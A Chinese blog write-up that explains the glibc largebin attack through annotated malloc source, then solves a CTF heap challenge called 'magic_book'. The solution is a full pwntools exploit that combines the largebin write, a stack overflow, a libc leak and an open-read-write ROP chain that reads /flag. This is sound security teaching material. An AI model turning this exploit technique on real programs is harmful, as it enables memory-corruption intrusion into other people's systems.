large_bin_attack
large_bin的结构如下
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
这个结构中的 fd_nextsize 和 bk_nextsize 来链接到下一个 size 的堆块头部和上一个 size 的堆块头部。 然后在相同 size 的堆块内部再通过 fd 和 bk 来进行内部的管理。
large_bin的组织结构
large_bin只有一个chunk
largebin 里放了一组同样大小的 chunk
largebin 里放了多组不同大小的 chunk
指针作用
如果我们“擦去”所谓的 nextsize 指针,就会发现 largebin 中的 chunk 还是用 fd 和 bk 的双向链表组织的。
然而每一个 largebin 所保存的 chunk 的 size 都是一个范围。largebin 的组织在内部是 fd 方向上 size 广义递减的(除了最后的 chunk),在 bk 方向上 size 是广义递增的(除了开头的 chunk)。
既然 size 有序,完全没必要单个遍历,需要进行插入时也是依据合适的 size 找到插入的位置。为此用 fd_nextsize 来记录下一个更大 size 的 chunk,用 bk_nextsize 来记录上一个更小 size 的 chunk。
原文链接:https://blog.csdn.net/Mr_Fmnwon/article/details/142330217
插入源码分析
// 从unsortedbin来,如果不插入smallbin
if (in_smallbin_range (size)){
...
// 则插入largebin
}else{
victim_index = largebin_index (size); //根据size找到对应的large_bin的索引
bck = bin_at (av, victim_index); //获得对应的large_bin,bck为
fwd = bck->fd; //获得当前large_bin的头chunk
if (fwd != bck){ //检查large_bin非空
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
// 特判,如果比最小的还小,则插入尾部
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk)){
...
// 否则将开始循环依据size找到合适的位置
}else{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd)){
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
// 如果已经有该size的free chunk,则插在该size chunk的第二个位置
// 注意,fd_nextsize和bk_nextsize都不需要变动,这也是插入到第二个的原因
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
// 就是新的size,找到最近的大于该size/小于该size的free chunk的序列的第一个chunk
else{
// 先对正在插入的chunk进行赋值,新插入chunk的两个nextsize已经指出去了
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
// 然后就是将原本连在一起的旧的链上的指针更新,指向新插入的chunk
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
// 刚刚进行的都是nextsize的变动,接下来进行fd和bk的变动
// 已经找到了插入位置,即插入到fwd和bck这两个chunk之间,这对于所有情况都是一样,因此这块代码通用
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
攻击过程和效果
当进行插入操作时,就会进行如下改变
可以看到,两个地址都被写上了同一个堆指针,这就是largebin attack所能达成的效果。
glibc < 2.38
bck = bin_at (av, victim_index);
fwd = bck->fd;
if (fwd != bck){
...
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk)){
fwd = bck;
bck = bck->bk;
// 待插入的chunk,填写好fd_nextsize和bk_nextsize指针域
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
// 接下来对victim->bk_nextsize->fd_nextsize进行赋值,
// 而刚刚进行了赋值:victim->bk_nextsize = fwd->fd->bk_nextsize;
// 因此如果我们对fwd->fd->bk_nextsize进行修改
// (bin中最小的chunk但是我们往往让bin中只有一个chunk)
// 所以实际上
// (fwd->fd->bk_nextsize)->fd_nextsize=victim => target->fd_neextsize=victim
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
...
}
修改 chunk 的 bk_nextsize 域为 target 即可在释放一块更小的 chunk 到 largebin 时,在target->fd_nextsize,也即 [target+0x20] 写上刚刚进入 largebin 的 chunk 的头指针。
插入效果
触发条件
static void *
_int_malloc (mstate av, size_t bytes)
{
...
if (!checked_request2size (bytes, &nb))
{
__set_errno (ENOMEM);
return NULL;
}
...
for (;; )
{
int iters = 0;
// 如果unsortedbin不为空
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
// victim是当前unsortedbin中的第一个块
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);
...
/* victim从unsortedbin中摘除 */
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
...
/* place chunk in bin */
// 判断victim的大小是否属于smallbin
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
// bck是Largebin中的第一个chunk
bck = bin_at (av, victim_index);
// 在Largebin中只有一个块的时候,fwd指向的是Largebin链表头
fwd = bck->fd;
/* maintain large bins in sorted order */
// 如果largebin不为空,则维护largebin的顺序性(小到大)
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
/*
chunksize_nomask(bck->bk)取得的是Largebinbin中第一个chunk的大小
size则是的unsortedbin中第一个chunk的大小
*/
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
...
}
}
else
// 将victim视作largebin中的块
victim->fd_nextsize = victim->bk_nextsize = victim;
}
// 将victim放入相应的bin链表中
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
...
}
}
- 分配 chunk1:chunk1 的大小为 size1,且 size1 在 largebin 范围内。largebin 是用于存储较大块的 bin,通常用于管理较大的内存块。
- 分配 pad1:pad1 的作用是防止 chunk1 在释放时与 top chunk 合并。top chunk 是堆的顶部空闲内存区域,如果释放的块与 top chunk 相邻,系统会将其合并到 top chunk 中,而不是放入 unsorted bin。
- 分配 chunk2:chunk2 的大小为 size2,且 size2 < size1。chunk2 也被分配在 largebin 范围内。
- 分配 pad2:pad2 的作用与 pad1 类似,防止 chunk2 在释放时与 top chunk 合并。
- 释放 chunk1:当 chunk1 被释放时,它会被放入 unsorted bin 中,因为 unsorted bin 是释放块的第一站。
- 分配 size3 的块:此时,程序请求分配一个大小为 size3 的块,且 size3 > size1。由于 size3 大于 size1,堆管理器会从 unsorted bin 中查找是否有合适的块。由于 chunk1 的大小 size1 小于 size3,chunk1 无法直接满足这个请求。
在这种情况下,堆管理器会将 chunk1 从 unsorted bin 中移除,并将其放入 largebin 中。largebin 是按照块大小排序的,因此 chunk1 会被放入适当的 largebin 中,以便在后续的分配请求中能够快速找到合适大小的块。
例题
magic_book
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
sandbox();
menu1();
dest = malloc(0x100uLL);
while ( 1 )
{
book = (unsigned __int16)book;
menu2();
__isoc99_scanf("%d", &v3);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
puts("Invalid choice");
}
else
{
switch ( v3 )
{
case 3:
edit_the_book();
break;
case 1:
creat_the_book();
break;
case 2:
delete_the_book();
break;
default:
goto LABEL_12;
}
}
}
}
经典菜单设置了沙箱
└─$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
创建函数
size_t creat_the_book()
{
size_t v0; // rbx
size_t size[2]; // [rsp+Ch] [rbp-14h] BYREF
if ( book > 5 ) //数量限制为5个
{
puts("full!!");
exit(0);
}
printf("the book index is %d\n", book);
puts("How many pages does your book need?");
LODWORD(size[0]) = 0;
__isoc99_scanf("%u", size);
if ( LODWORD(size[0]) > 0x500 ) //最大为0x500
{
puts("wrong!!");
exit(0);
}
v0 = book;
p[v0] = malloc(LODWORD(size[0])); //p为堆管理结构
return ++book;
}
编辑函数
void *edit_the_book()
{
size_t v0; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
puts("come on,Write down your story!");
read(0, buf, book); //book的值若够大,可造成栈溢出漏洞
v0 = strlen(buf);
return memcpy(dest, buf, v0);
}
删除函数
__int64 delete_the_book()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
puts("which book would you want to delete?");
__isoc99_scanf("%d", &v2);
if ( v2 > 5 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
free((void *)p[v2]); //存在uaf漏洞
puts("Do you want to say anything else before being deleted?(y/n)");
read(0, buf, 4uLL); //
if ( d && (buf[0] == 89 || buf[0] == 121) )
{
puts("which page do you want to write?");
__isoc99_scanf("%u", &v1);
if ( v1 > 4 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
puts("content: ");
read(0, (void *)(p[v1] + 8LL), 0x18uLL); //free_chunk的0x8-0x20处可写任意数
--d;
return 0LL;
}
else
{
if ( d )
puts("ok!");
else
puts("no ways!!");
return 0LL;
}
}
该题的思路
1.申请0x450,0x440,0x440(防止合并)大小的三个堆块
2.释放第一个堆块(此时进入unsortbin)
3.申请一个比第一个堆块大的堆块(此时进入largebin)
4.释放第二个堆块的同时,修改第一个堆块的bk_nextsize为book-0x20的位置
5.申请一个大堆块完成largebin_attack
6.栈溢出orw读取flag
完整exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
def duan():
gdb.attach(io)
pause()
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
ru("0x")
pie_base = int(io.recv(12),16) - 0x4010
leak("pie_base",pie_base)
pop_rdi = 0x1863 + pie_base
pop_rsi_r15 = 0x1861 + pie_base
def cmd(index):
ru("choice:")
sl(index)
def create(size):
cmd(1)
ru("book need?")
sl(size)
def edit(content):
cmd(3)
ru("story!\n")
io.sendline(content)
def delete1(index):
cmd(2)
ru("delete?")
sl(index)
ru("eleted?(y/n)")
io.send('n')
def delete2(index,edit_index,content):
cmd(2)
ru("delete?")
sl(index)
ru("eleted?(y/n)")
io.send('y')
ru("write?")
sl(edit_index)
ru("content: ")
io.send(content)
puts_plt = elf.plt.puts + pie_base
puts_got = elf.got.puts + pie_base
target_addr = 0x4050 + pie_base
create(0x450)#0
create(0x98)#1
create(0x430)#2
create(0x98)#3
delete1(0)
#chunk0首先会放入unsorted_bin中
create(0x460) #4
#size4>size0,chunk0会放入large_bin中
delete2(2,0,b'a'*0x10+p64(target_addr - 0x20))
#chun2进入unsorted中,此时large_bin
create(0x460)
###
#当程序分配一个可以进入 unsorted bin 的堆块时,堆管理器会遍历 unsorted bin,并将其中的块整理到 smallbin 或 largebin 中。
main=pie_base+0x172e
rdi=pie_base+0x1863
edit(b'a'*0x28 + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(0x15E1+pie_base))
libc_base = uu64(io.recv(6)) - libc.sym['puts']
leak("libc_base",libc_base)
readd=libc_base+libc.sym['read']
writee=libc_base+libc.sym['write']
openn=libc_base+libc.sym['open']
pop_rdx_r12 = 0x11f2e7 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
orw = b'a'*0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100)*2 + p64(readd)
orw += p64(pop_rdi) + p64(pie_base+0x4090) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(openn)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100) *2 + p64(readd)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(pie_base + 0x4090) + p64(pop_rdx_r12) + p64(0x100)*2 + p64(writee)
ru("down your story!")
io.send(orw)
io.sendline(b"/flag\x00")
itr()
利用条件:
- 修改权限:能够修改 Largebin 中块的 bk_nextsize 字段。
- 堆块分配:程序能够分配至少三种不同大小的块,并确保这些块紧密相邻。
利用步骤:
- 分配堆块:
- 分配一块大小为 size1 且在 Largebin 范围内的块 chunk1。
- 分配一块任意大小的块 pad1,以防止在释放 chunk1 时系统将其与 top chunk 合并。
- 分配一块大小为 size2 且在 Largebin 范围内的块 chunk2,要求 size2 < size1 且 chunk2 紧邻 chunk1。
- 分配一块任意大小的块 pad2,以防止在释放 chunk2 时系统将其与 top chunk 合并。
- 释放并重新分配:
- 释放 chunk1,此时系统会将其放入 unsortedbin。再分配一个大小为 size3 的块,要求 size3 > size1,此时系统会将 chunk1 放进 Largebin 中。
- 确保 chunk2 紧邻 chunk1。
- 释放 chunk2 进入 unsortedbin。
- 修改指针:
- 修改 chunk1->bk_nextsize 为 Target - 0x20。
- 触发攻击:
- 随意分配一个可以进入unsortbin的堆块,就会触发 Largebin attack。
参考:https://blog.csdn.net/qq_41252520/article/details/126211062
本文作者:dr4w
本文链接:https://www.cnblogs.com/zMeedA/p/18725470
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步